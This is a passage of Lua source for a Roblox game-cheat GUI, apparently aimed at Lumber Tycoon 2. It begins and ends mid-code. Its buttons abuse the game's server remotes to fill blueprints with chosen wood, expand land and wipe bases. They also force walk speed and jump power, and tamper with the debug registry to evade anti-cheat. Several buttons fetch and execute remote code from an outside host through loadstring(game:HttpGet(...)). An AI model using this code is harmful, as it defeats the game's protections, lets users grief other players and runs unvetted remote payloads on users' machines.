if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillVolcano.Name = "Volcano"
FillVolcano.Parent = PaintFills
FillVolcano.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
FillVolcano.BorderColor3 = Color3.new(0, 0, 0)
FillVolcano.Position = UDim2.new(0, 3, 0, 210)
FillVolcano.Size = UDim2.new(0, 150, 0, 20)
FillVolcano.Font = Enum.Font.SourceSans
FillVolcano.Text = "Volcano"
FillVolcano.TextColor3 = Color3.new(0, 0, 0)
FillVolcano.TextSize = 14
FillVolcano.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Volcano"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillSign.Name = "Sign"
FillSign.Parent = PaintFills
FillSign.BackgroundColor3 = Color3.fromRGB(238, 196, 182)
FillSign.BorderColor3 = Color3.new(0, 0, 0)
FillSign.Position = UDim2.new(0, 3, 0, 233)
FillSign.Size = UDim2.new(0, 150, 0, 20)
FillSign.Font = Enum.Font.SourceSans
FillSign.Text = "Sign"
FillSign.TextColor3 = Color3.new(0, 0, 0)
FillSign.TextSize = 14
FillSign.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Sign"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillGoldSwampy.Name = "GoldSwampy"
FillGoldSwampy.Parent = PaintFills
FillGoldSwampy.BackgroundColor3 = Color3.fromRGB(220, 188, 129)
FillGoldSwampy.BorderColor3 = Color3.new(0, 0, 0)
FillGoldSwampy.Position = UDim2.new(0, 3, 0, 256)
FillGoldSwampy.Size = UDim2.new(0, 150, 0, 20)
FillGoldSwampy.Font = Enum.Font.SourceSans
FillGoldSwampy.Text = "Gold"
FillGoldSwampy.TextColor3 = Color3.new(0, 0, 0)
FillGoldSwampy.TextSize = 14
FillGoldSwampy.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "GoldSwampy"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillGreenSwampy.Name = "GreenSwampy"
FillGreenSwampy.Parent = PaintFills
FillGreenSwampy.BackgroundColor3 = Color3.fromRGB(40, 127, 71)
FillGreenSwampy.BorderColor3 = Color3.new(0, 0, 0)
FillGreenSwampy.Position = UDim2.new(0, 3, 0, 279)
FillGreenSwampy.Size = UDim2.new(0, 150, 0, 20)
FillGreenSwampy.Font = Enum.Font.SourceSans
FillGreenSwampy.Text = "Green Swamp"
FillGreenSwampy.TextColor3 = Color3.new(0, 0, 0)
FillGreenSwampy.TextSize = 14
FillGreenSwampy.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "GreenSwampy"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillSnowGlow.Name = "SnowGlow"
FillSnowGlow.Parent = PaintFills
FillSnowGlow.BackgroundColor3 = Color3.fromRGB(199, 210, 60)
FillSnowGlow.BorderColor3 = Color3.new(0, 0, 0)
FillSnowGlow.Position = UDim2.new(0, 3, 0, 302)
FillSnowGlow.Size = UDim2.new(0, 150, 0, 20)
FillSnowGlow.Font = Enum.Font.SourceSans
FillSnowGlow.Text = "SnowGlow"
FillSnowGlow.TextColor3 = Color3.new(0, 0, 0)
FillSnowGlow.TextSize = 14
FillSnowGlow.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "SnowGlow"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillCaveCrawler.Name = "CaveCrawler"
FillCaveCrawler.Parent = PaintFills
FillCaveCrawler.BackgroundColor3 = Color3.fromRGB(33, 84, 185)
FillCaveCrawler.BorderColor3 = Color3.new(0, 0, 0)
FillCaveCrawler.Position = UDim2.new(0, 3, 0, 325)
FillCaveCrawler.Size = UDim2.new(0, 150, 0, 20)
FillCaveCrawler.Font = Enum.Font.SourceSans
FillCaveCrawler.Text = "CaveCrawler"
FillCaveCrawler.TextColor3 = Color3.new(0, 0, 0)
FillCaveCrawler.TextSize = 14
FillCaveCrawler.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "CaveCrawler"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillSpooky.Name = "Spooky"
FillSpooky.Parent = PaintFills
FillSpooky.BackgroundColor3 = Color3.fromRGB(98, 71, 50)
FillSpooky.BorderColor3 = Color3.new(0, 0, 0)
FillSpooky.Position = UDim2.new(0, 3, 0, 348)
FillSpooky.Size = UDim2.new(0, 150, 0, 20)
FillSpooky.Font = Enum.Font.SourceSans
FillSpooky.Text = "Spooky"
FillSpooky.TextColor3 = Color3.new(0, 0, 0)
FillSpooky.TextSize = 14
FillSpooky.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Spooky"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillLoneCave.Name = "LoneCave"
FillLoneCave.Parent = PaintFills
FillLoneCave.BackgroundColor3 = Color3.fromRGB(207, 226, 247)
FillLoneCave.BorderColor3 = Color3.new(0, 0, 0)
FillLoneCave.Position = UDim2.new(0, 3, 0, 371)
FillLoneCave.Size = UDim2.new(0, 150, 0, 20)
FillLoneCave.Font = Enum.Font.SourceSans
FillLoneCave.Text = "LoneCave"
FillLoneCave.TextColor3 = Color3.new(0, 0, 0)
FillLoneCave.TextSize = 14
FillLoneCave.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "LoneCave"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillSpookyNeon.Name = "SpookyNeon"
FillSpookyNeon.Parent = PaintFills
FillSpookyNeon.BackgroundColor3 = Color3.fromRGB(255, 176, 0)
FillSpookyNeon.BorderColor3 = Color3.new(0, 0, 0)
FillSpookyNeon.Position = UDim2.new(0, 3, 0, 394)
FillSpookyNeon.Size = UDim2.new(0, 150, 0, 20)
FillSpookyNeon.Font = Enum.Font.SourceSans
FillSpookyNeon.Text = "SpookyNeon"
FillSpookyNeon.TextColor3 = Color3.new(0, 0, 0)
FillSpookyNeon.TextSize = 14
FillSpookyNeon.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "SpookyNeon"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillGenericSpecial.Name = "GenericSpecial"
FillGenericSpecial.Parent = PaintFills
FillGenericSpecial.BackgroundColor3 = Color3.fromRGB(255, 102, 204)
FillGenericSpecial.BorderColor3 = Color3.new(0, 0, 0)
FillGenericSpecial.Position = UDim2.new(0, 3, 0, 417)
FillGenericSpecial.Size = UDim2.new(0, 150, 0, 20)
FillGenericSpecial.Font = Enum.Font.SourceSans
FillGenericSpecial.Text = "Pink"
FillGenericSpecial.TextColor3 = Color3.new(0, 0, 0)
FillGenericSpecial.TextSize = 14
FillGenericSpecial.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "GenericSpecial"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillFrost.Name = "Frost"
FillFrost.Parent = PaintFills
FillFrost.BackgroundColor3 = Color3.fromRGB(175, 221, 255)
FillFrost.BorderColor3 = Color3.new(0, 0, 0)
FillFrost.Position = UDim2.new(0, 3, 0, 440)
FillFrost.Size = UDim2.new(0, 150, 0, 20)
FillFrost.Font = Enum.Font.SourceSans
FillFrost.Text = "Frost"
FillFrost.TextColor3 = Color3.new(0, 0, 0)
FillFrost.TextSize = 14
FillFrost.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Frost"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillGrey.Name = "Grey"
FillGrey.Parent = PaintFills
FillGrey.BackgroundColor3 = Color3.fromRGB(159, 161, 172)
FillGrey.BorderColor3 = Color3.new(0, 0, 0)
FillGrey.Position = UDim2.new(0, 3, 0, 463)
FillGrey.Size = UDim2.new(0, 150, 0, 20)
FillGrey.Font = Enum.Font.SourceSans
FillGrey.Text = "Del Prints"
FillGrey.TextColor3 = Color3.new(0, 0, 0)
FillGrey.TextSize = 14
FillGrey.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Grey"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
local BaseFLOOR = Instance.new("TextButton")
BaseFLOOR.Name = "BaseFLOOR"
BaseFLOOR.Parent = ArtFrame
BaseFLOOR.BackgroundColor3 = Color3.new(0, 0, 0)
BaseFLOOR.BorderColor3 = Color3.new(0, 0, 0)
BaseFLOOR.Position = UDim2.new(0, 3, 0, 49)
BaseFLOOR.Size = UDim2.new(0, 165, 0, 20)
BaseFLOOR.Font = Enum.Font.Fantasy
BaseFLOOR.FontSize = Enum.FontSize.Size18
BaseFLOOR.Text = "Base Floor Prints"
BaseFLOOR.TextColor3 = Color3.new(255, 0, 0)
BaseFLOOR.TextSize = 15
BaseFLOOR.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/BaseFLOOR1.txt',true))()
end)
local SingleWalls = Instance.new("TextButton")
SingleWalls.Name = "SingleWalls"
SingleWalls.Parent = ArtFrame
SingleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
SingleWalls.BorderColor3 = Color3.new(0, 0, 0)
SingleWalls.Position = UDim2.new(0, 3, 0, 72)
SingleWalls.Size = UDim2.new(0, 165, 0, 20)
SingleWalls.Font = Enum.Font.Fantasy
SingleWalls.FontSize = Enum.FontSize.Size18
SingleWalls.Text = "Single Wall Prints"
SingleWalls.TextColor3 = Color3.new(255, 0, 0)
SingleWalls.TextSize = 15
SingleWalls.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/SingeWALLS.txt',true))()
end)
local DoubleWalls = Instance.new("TextButton")
DoubleWalls.Name = "DoubleWalls"
DoubleWalls.Parent = ArtFrame
DoubleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
DoubleWalls.BorderColor3 = Color3.new(0, 0, 0)
DoubleWalls.Position = UDim2.new(0, 3, 0, 95)
DoubleWalls.Size = UDim2.new(0, 165, 0, 20)
DoubleWalls.Font = Enum.Font.Fantasy
DoubleWalls.FontSize = Enum.FontSize.Size18
DoubleWalls.Text = "Double Wall Prints"
DoubleWalls.TextColor3 = Color3.new(255, 0, 0)
DoubleWalls.TextSize = 15
DoubleWalls.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/DoubleWALLS.txt',true))()
end)
local TripleWalls = Instance.new("TextButton")
TripleWalls.Name = "TripleWalls"
TripleWalls.Parent = ArtFrame
TripleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
TripleWalls.BorderColor3 = Color3.new(0, 0, 0)
TripleWalls.Position = UDim2.new(0, 3, 0, 118)
TripleWalls.Size = UDim2.new(0, 165, 0, 20)
TripleWalls.Font = Enum.Font.Fantasy
TripleWalls.FontSize = Enum.FontSize.Size18
TripleWalls.Text = "Triple Wall Prints"
TripleWalls.TextColor3 = Color3.new(255, 0, 0)
TripleWalls.TextSize = 15
TripleWalls.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/TripleWALLS1.txt',true))()
end)
local Hoofer = Instance.new("TextButton")
Hoofer.Name = "Hoofer"
Hoofer.Parent = ArtFrame
Hoofer.BackgroundColor3 = Color3.new(0, 0, 0)
Hoofer.BorderColor3 = Color3.new(0, 0, 0)
Hoofer.Position = UDim2.new(0, 3, 0, 118)
Hoofer.Size = UDim2.new(0, 165, 0, 20)
Hoofer.Font = Enum.Font.Fantasy
Hoofer.FontSize = Enum.FontSize.Size18
Hoofer.Text = "Hoofer Art Gui"
Hoofer.TextColor3 = Color3.new(255, 0, 0)
Hoofer.TextSize = 15
Hoofer.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/hooferb.txt',true))()
end)
local Landart = Instance.new("TextButton")
Landart.Name = "Landart"
Landart.Parent = ArtFrame
Landart.BackgroundColor3 = Color3.new(0, 0, 0)
Landart.BorderColor3 = Color3.new(0, 0, 0)
Landart.Position = UDim2.new(0, 3, 0, 141)
Landart.Size = UDim2.new(0, 165, 0, 20)
Landart.Font = Enum.Font.Fantasy
Landart.FontSize = Enum.FontSize.Size18
Landart.Text = "Custom Land Art"
Landart.TextColor3 = Color3.new(255, 0, 0)
Landart.TextSize = 15
Landart.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/LANDART1.txt',true))()
end)
local BluePrints = Instance.new("TextButton")
BluePrints.Name = "BluePrints"
BluePrints.Parent = ArtFrame
BluePrints.BackgroundColor3 = Color3.new(0, 0, 0)
BluePrints.BorderColor3 = Color3.new(0, 0, 0)
BluePrints.Position = UDim2.new(0, 3, 0, 164)
BluePrints.Size = UDim2.new(0, 165, 0, 20)
BluePrints.Font = Enum.Font.Fantasy
BluePrints.FontSize = Enum.FontSize.Size18
BluePrints.Text = "BluePrints"
BluePrints.TextColor3 = Color3.new(255, 0, 0)
BluePrints.TextSize = 15
BluePrints.MouseButton1Down:connect(function()
for i,v in pairs(game.ReplicatedStorage.Purchasables.Structures.BlueprintStructures:GetChildren()) do
local clone = v:Clone()
clone.Parent = game.Players.LocalPlayer.PlayerBlueprints.Blueprints
end
end)
local MaxLand = Instance.new("TextButton")
MaxLand.Name = "MaxLand"
MaxLand.Parent = ArtFrame
MaxLand.BackgroundColor3 = Color3.new(0, 0, 0)
MaxLand.BorderColor3 = Color3.new(0, 0, 0)
MaxLand.Position = UDim2.new(0, 3, 0, 187)
MaxLand.Size = UDim2.new(0, 165, 0, 20)
MaxLand.Font = Enum.Font.Fantasy
MaxLand.FontSize = Enum.FontSize.Size18
MaxLand.Text = "MaxLand"
MaxLand.TextColor3 = Color3.new(255, 0, 0)
MaxLand.TextSize = 15
MaxLand.MouseButton1Down:connect(function()
for i, v in pairs(game:GetService("Workspace").Properties:GetChildren()) do
if v:FindFirstChild("Owner") and v.Owner.Value == game.Players.LocalPlayer then
base = v
square = v.OriginSquare
end
end
function makebase(pos)
local Event = game:GetService("ReplicatedStorage").PropertyPurchasing.ClientExpandedProperty
Event:FireServer(base, pos)
end
spos = square.Position
makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z))
makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z))
makebase(CFrame.new(spos.X, spos.Y, spos.Z + 40))
makebase(CFrame.new(spos.X, spos.Y, spos.Z - 40))
makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z + 40))
makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z - 40))
makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z + 40))
makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z - 40))
makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z))
makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z))
makebase(CFrame.new(spos.X, spos.Y, spos.Z + 80))
makebase(CFrame.new(spos.X, spos.Y, spos.Z - 80))
--Corners--
makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z + 80))
makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z - 80))
makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z + 80))
makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z - 80))
--Corners--
makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z + 80))
makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z + 80))
makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z + 40))
makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z - 40))
makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z + 40))
makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z - 40))
makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z - 80))
makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z - 80))
end)
local WipeBase = Instance.new("TextButton")
WipeBase.Name = "WipeBase"
WipeBase.Parent = ArtFrame
WipeBase.BackgroundColor3 = Color3.new(0, 0, 0)
WipeBase.BorderColor3 = Color3.new(0, 0, 0)
WipeBase.Position = UDim2.new(0, 3, 0, 210)
WipeBase.Size = UDim2.new(0, 165, 0, 20)
WipeBase.Font = Enum.Font.Fantasy
WipeBase.FontSize = Enum.FontSize.Size18
WipeBase.Text = "Wipe Base"
WipeBase.TextColor3 = Color3.new(255, 0, 0)
WipeBase.TextSize = 15
WipeBase.MouseButton1Down:Connect(function()
plr = game.Players.LocalPlayer.Name
pmds = game.Workspace.PlayerModels
PlaceR = game.ReplicatedStorage.Interaction.DestroyStructure
for i, v in pairs(pmds:GetChildren()) do
if v:FindFirstChild("Owner") and v.Owner.Value ~= nil and v.Owner.Value == game.Players[plr] and v:FindFirstChild("ItemName") and v:FindFirstChild("Type") and (v.PrimaryPart ~= nil or v:FindFirstChild("MainCFrame")) then
PlaceR:FireServer(v)
end
end
end)
WCollide = "Nothing"
local toolaFrame = Instance.new("Frame")
local toolamenu = Instance.new("ImageButton")
local WalkspeedLabel = Instance.new("TextButton")
local JumpText = Instance.new("TextBox")
local WalkSpeed = Instance.new("TextLabel")
local JumpPower = Instance.new("TextButton")
local AntiBlack = Instance.new("TextButton")
local GriefFly = Instance.new("TextButton")
local StopGriefFly = Instance.new("TextButton")
local Fly = Instance.new("TextButton")
local PinkWires = Instance.new("TextButton")
local WaterCollide = Instance.new("TextButton")
local ClickTP = Instance.new("TextButton")
local Noclip = Instance.new("TextButton")
local AntiAFK = Instance.new("TextButton")
local AntiAFKtime = Instance.new("TextLabel")
local Fog = Instance.new("TextButton")
local CARA = Instance.new("TextButton")
local CARAs = Instance.new("TextBox")
local RemoveT = Instance.new("TextButton")
local ReJoinServer = Instance.new("TextButton")
local Reset = Instance.new("TextButton")
toolamenu.Name = "toolamenu"
toolamenu.Parent = Picker
toolamenu.BackgroundColor3 = Color3.new(1, 1, 1)
toolamenu.BorderColor3 = Color3.new(0, 0, 0)
toolamenu.Position = UDim2.new(0, 15, 0,430)
toolamenu.Size = UDim2.new(0, 80, 0, 80)
toolamenu.ZIndex = 3
toolamenu.Image = "rbxassetid://3916428981"
toolamenu.ScaleType = Enum.ScaleType.Crop
toolamenu.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = false
AIntroImage1.Visible = false
end)
toolaFrame.Name = "toolaFrame"
toolaFrame.Parent = MenuFrame
toolaFrame.BorderSizePixel = 1
toolaFrame.BackgroundTransparency = 0
toolaFrame.BorderColor3 = Color3.new(0, 0, 0)
toolaFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
toolaFrame.Size = UDim2.new(0, 170, 0, 373)
toolaFrame.Visible = false
JumpText.Name = "JumpText"
JumpText.Parent = toolaFrame
JumpText.BackgroundColor3 = Color3.new(0, 0, 0)
JumpText.BorderColor3 = Color3.new(0, 0, 0)
JumpText.Position = UDim2.new(0, 147, 0, 26)
JumpText.Size = UDim2.new(0, 21, 0, 20)
JumpText.Font = Enum.Font.Fantasy
JumpText.FontSize = Enum.FontSize.Size18
JumpText.Text = "50"
JumpText.TextColor3 = Color3.new(255, 0, 0)
JumpText.TextSize = 15
JumpPower.Name = "JumpPowerLabel"
JumpPower.Parent = toolaFrame
JumpPower.BackgroundColor3 = Color3.new(0, 0, 0)
JumpPower.BorderColor3 = Color3.new(0, 0, 0)
JumpPower.Position = UDim2.new(0, 3, 0, 26)
JumpPower.Size = UDim2.new(0, 140, 0, 20)
JumpPower.Font = Enum.Font.Fantasy
JumpPower.FontSize = Enum.FontSize.Size18
JumpPower.Text = "Jump Power"
JumpPower.TextColor3 = Color3.new(255, 0, 0)
JumpPower.TextSize = 15
player = game.Players.LocalPlayer
Jump = 50
JumpPower.MouseButton1Down:connect(function()
Jump = JumpText.Text
end)
player.Character.Humanoid.JumpPower = Jump
player.Character.Humanoid.Changed:connect(function()
player.Character.Humanoid.JumpPower = Jump
end)
WalkspeedLabel.Name = "WalkspeedLabel"
WalkspeedLabel.Parent = toolaFrame
WalkspeedLabel.BackgroundColor3 = Color3.new(0, 0, 0)
WalkspeedLabel.BorderColor3 = Color3.new(0, 0, 0)
WalkspeedLabel.Position = UDim2.new(0, 3, 0, 3)
WalkspeedLabel.Size = UDim2.new(0, 140, 0, 20)
WalkspeedLabel.Font = Enum.Font.Fantasy
WalkspeedLabel.FontSize = Enum.FontSize.Size18
WalkspeedLabel.Text = "Walkspeed"
WalkspeedLabel.TextColor3 = Color3.new(255, 0, 0)
WalkspeedLabel.TextSize = 15
WalkSpeed.Name = "WalkSpeed"
WalkSpeed.Parent = toolaFrame
WalkSpeed.BackgroundColor3 = Color3.new(0, 0, 0)
WalkSpeed.BorderColor3 = Color3.new(0, 0, 0)
WalkSpeed.Position = UDim2.new(0, 147, 0, 3)
WalkSpeed.Size = UDim2.new(0, 21, 0, 20)
WalkSpeed.Font = Enum.Font.Fantasy
WalkSpeed.FontSize = Enum.FontSize.Size18
WalkSpeed.Text = "V"
WalkSpeed.TextColor3 = Color3.new(255, 0, 0)
WalkSpeed.TextSize = 15
WalkspeedLabel.MouseButton1Down:connect(function()
local walkspeedplayer = game:GetService("Players").LocalPlayer
local walkspeedmouse = walkspeedplayer:GetMouse()
local walkspeedenabled = false
function x_walkspeed(key)
if (key == "v") then
if walkspeedenabled == false then
_G.WS = 150;
local Humanoid = game:GetService("Players").LocalPlayer.Character.Humanoid;
Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
Humanoid.WalkSpeed = _G.WS;
end)
Humanoid.WalkSpeed = _G.WS;
walkspeedenabled = true
elseif walkspeedenabled == true then
_G.WS = 15;
local Humanoid = game:GetService("Players").LocalPlayer.Character.Humanoid;
Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
Humanoid.WalkSpeed = _G.WS;
end)
Humanoid.WalkSpeed = _G.WS;
walkspeedenabled = false
end
end
end
walkspeedmouse.KeyDown:connect(x_walkspeed)
end)
AntiBlack.Name = "AntiBlackLabel"
AntiBlack.Parent = toolaFrame
AntiBlack.BackgroundColor3 = Color3.new(0, 0, 0)
AntiBlack.BorderColor3 = Color3.new(0, 0, 0)
AntiBlack.Position = UDim2.new(0, 3, 0, 49)
AntiBlack.Size = UDim2.new(0, 165, 0, 20)
AntiBlack.Font = Enum.Font.Fantasy
AntiBlack.FontSize = Enum.FontSize.Size18
AntiBlack.Text = "Anti Black List (OFF)"
AntiBlack.TextColor3 = Color3.new(255, 0, 0)
AntiBlack.TextSize = 15
AntiBlack.MouseButton1Click:connect(function()
AntiBlack.TextColor3 = Color3.new(1, 1, 1)
AntiBlack.BackgroundColor3 = Color3.new(0, 0, 0)
AntiBlack.Text = "Anti Black List (ON)"
local plr = game.Players.LocalPlayer
local cframe
for i,v in next, workspace:GetDescendants() do
if v:IsA("SpawnLocation") then
v.Touched:Connect(function(h)
if h.Parent == plr.Character and cframe then
plr.Character:SetPrimaryPartCFrame(cframe)
end
end)
end
end
game:GetService("RunService"):BindToRenderStep("NO HACKS",Enum.RenderPriority.Last.Value,function()
if game.Players.LocalPlayer.Character.PrimaryPart then
cframe = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
end
end)
for i,v in next, debug.getregistry() do
if type(v)=='function' and debug.getupvalues(v).lastUpdate then
debug.setupvalue(v,"lastUpdate",math.huge)
break
end
end
for i,v in next, workspace.Effects:GetChildren() do
